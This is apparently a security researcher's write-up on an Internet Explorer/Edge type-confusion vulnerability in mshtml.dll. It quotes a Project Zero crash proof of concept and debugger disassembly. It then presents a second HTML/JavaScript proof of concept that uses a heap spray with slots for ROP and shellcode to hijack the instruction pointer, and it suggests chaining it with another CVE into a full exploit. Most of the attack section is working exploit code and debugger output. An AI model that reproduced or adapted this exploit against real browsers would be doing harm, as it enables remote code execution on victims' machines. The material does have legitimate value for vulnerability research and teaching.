Internet Explorer
“Microsoft Internet Explorer 10 and 11 and Microsoft Edge have a type confusion issue in the Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement function in mshtml.dll, which allows remote attackers to execute arbitrary code via vectors involving a crafted Cascading Style Sheets (CSS) token sequence and crafted JavaScript code that operates on a TH element.”
The PoC
The vulnerability was found by Ivan Fratric of Google Project Zero. The following is the PoC he provided:
<!-- saved from url=(0014)about:internet -->
<style>
.class1 { float: left; column-count: 5; }
.class2 { column-span: all; columns: 1px; }
table {border-spacing: 0px;}
</style>
<script>
function boom() {
document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa";
th1.align = "right";
}
</script>
<body onload="setInterval(boom,100)">
<table cellspacing="0">
<tr class="class1">
<th id="th1" colspan="5" width=0></th>
<th class="class2" width=0><div class="class2"></div></th>
With a few notes:
The PoC crashes in
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement
when reading from address 0000007800000070
[...]
Edge should crash when reading the same address while 32-bit IE tab process should crash in the same place but when reading a lower address.
[...]
Let's take a look at the code around the rip of the crash.
00007ffe`8f330a51 488bcd mov rcx,rbp
00007ffe`8f330a54 e8873c64ff call MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable (00007ffe`8e9746e0)
00007ffe`8f330a59 48833800 cmp qword ptr [rax],0 ds:00000078`00000070=????????????????
00007ffe`8f330a5d 743d je MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xe7 (00007ffe`8f330a9c)
00007ffe`8f330a5f 488bcd mov rcx,rbp
00007ffe`8f330a62 e8793c64ff call MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable (00007ffe`8e9746e0)
00007ffe`8f330a67 488b30 mov rsi,qword ptr [rax]
00007ffe`8f330a6a 488b06 mov rax,qword ptr [rsi]
00007ffe`8f330a6d 488bb848030000 mov rdi,qword ptr [rax+348h]
00007ffe`8f330a74 488bcf mov rcx,rdi
00007ffe`8f330a77 ff155b95d700 call qword ptr [MSHTML!_guard_check_icall_fptr (00007ffe`900a9fd8)]
00007ffe`8f330a7d 488bce mov rcx,rsi
00007ffe`8f330a80 ffd7 call rdi
On 00007ffe`8f330a51 rxc is read from rbp and MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable is called which sets up rax. rcx is supposed to point to another object type, but in the PoC it points to an array of 32-bit integers allocated in Array<Math::SLayoutMeasure>::Create. This array stores offsets of table columns and the values can be controlled by an attacker (with some limitations).
On 00007ffe`8f330a59 the crash occurs because rax points to uninitialized memory.
However, an attacker can affect rax by modifying table properties such as border-spacing and the width of the firs th element. Let's see what happens if an attacker can point rax to the memory he/she controls.
Assuming an attacker can pass a check on line 00007ffe`8f330a59, MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable is called again with the same arguments. After that, through a series of dereferences starting from rax, a function pointer is obtained and stored in rdi. A CFG check is made on that function pointer and, assuming it passes, the attacker-controlled function pointer is called on line 00007ffe`8f330a80.
Sounds pretty easy to control that CMP condition if we can perform heap spray and point EAX to some memory location we control.
Control EIP
First of all let’s confirm that the PoC works:
(654.eec): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000038 ebx=049f4758 ecx=049f4758 edx=00000002 esi=00000064 edi=5a0097f0
eip=59a15caf esp=0399bd68 ebp=0399bd94 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xa4:
59a15caf 833800 cmp dword ptr [eax],0 ds:002b:00000038=????????
I played a little bit with the width of that “th” element as suggested by Ivan and found that a value of “2000000” allows us to move the value of EAX to a controlled memory location in the heap spray:
0:018> bu 59a15caf
0:018> g
[...]
Breakpoint 0 hit
eax=03bd86d4 ebx=03bd86c4 ecx=03bd86c4 edx=00000002 esi=00000064 edi=5a005320
eip=59a15caf esp=03f1c1d8 ebp=03f1c204 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xa4:
59a15caf 833800 cmp dword ptr [eax],0 ds:002b:03bd86d4=a0949807
(skip the first break)
0:007> g
Breakpoint 0 hit
eax=0bebc2d8 ebx=04be9ae0 ecx=04be9ae0 edx=00000002 esi=00000064 edi=5a0097f0
eip=59a15caf esp=03f1c1d8 ebp=03f1c204 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xa4:
59a15caf 833800 cmp dword ptr [eax],0 ds:002b:0bebc2d8=0e0e0e0e
As expected, EAX points to some valid (and controllable) memory location.
If the CMP condition is satisfied the vulnerable routine tries to load the vftable of the object located at “0e0e0e0e” and calls the function at +1A4h:
59a15caf 833800 cmp dword ptr [eax],0
59a15cb2 7448 je MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xf1 (59a15cfc)
59a15cb4 8bcb mov ecx,ebx
59a15cb6 e8ec8181ff call MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem> >::Readable (5922dea7)
59a15cbb 8965f0 mov dword ptr [ebp-10h],esp
59a15cbe 8b18 mov ebx,dword ptr [eax]
59a15cc0 8b03 mov eax,dword ptr [ebx]
59a15cc2 8bb8a4010000 mov edi,dword ptr [eax+1A4h]
59a15cc8 8bcf mov ecx,edi
59a15cca ff15ac1f455a call dword ptr [MSHTML!__guard_check_icall_fptr (5a451fac)]
59a15cd0 8bcb mov ecx,ebx
59a15cd2 ffd7 call edi
Step by step:
59a15cbe 8b18 mov ebx,dword ptr [eax] ds:002b:0bebc2d8=0e0e0e0e
59a15cc0 8b03 mov eax,dword ptr [ebx] ds:002b:0e0e0e0e=0e0e0e0e
59a15cc2 8bb8a4010000 mov edi,dword ptr [eax+1A4h] ds:002b:0e0e0fb2=41414141
59a15cd2 ffd7 call edi {41414141}
The following is a working PoC to set EIP to 41414141
<style>
.class1 { float: left; column-count: 5; }
.class2 { column-span: all; columns: 1px; }
table {border-spacing: 0px;}
</style>
<script>
function boom() {
document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa";
th1.align = "right";
}
</script>
<body onload="setInterval(boom,1000)">
<div id="hs"></div>
<script>
// Heap Spray - DEPS avoid null bytes
var hso = document.getElementById("hs");
hso.style.cssText = "display:none";
var junk = unescape("%u0e0e%u0e0e");
while (junk.length < 0x1000) junk += junk;
var rop = unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc");
var shellcode = unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc");
var xchg = unescape("%u4141%u4141"); // initial EIP control
var offset = 0x7c9; // to control eip
var data = junk.substring(0,offset) + xchg + rop + shellcode;
data += junk.substring(0,0x800-offset-xchg.length-rop.length-shellcode.length);
while (data.length < 0x80000) data += data;
for (var i = 0; i < 0x350; i++)
{
var obj = document.createElement("button");
obj.title = data.substring(0,(0x7fb00-2)/2); // 2 null bytes terminator
hso.appendChild(obj);
}
</script>
<table cellspacing="0">
<tr class="class1">
<th id="th1" colspan="0" width=2000000></th> <!-- width should control eax contents, should land somewhere in the heap spray -->
<th class="class2" width=0><div class="class2"></div></th>
Working Exploit Concept
It’s pretty obvious, we have a memory leak and control of EIP. Chain together CVE-2017-0059 and CVE-2017-0037 and you’ll have a working exploit for Windows 7 and IE11.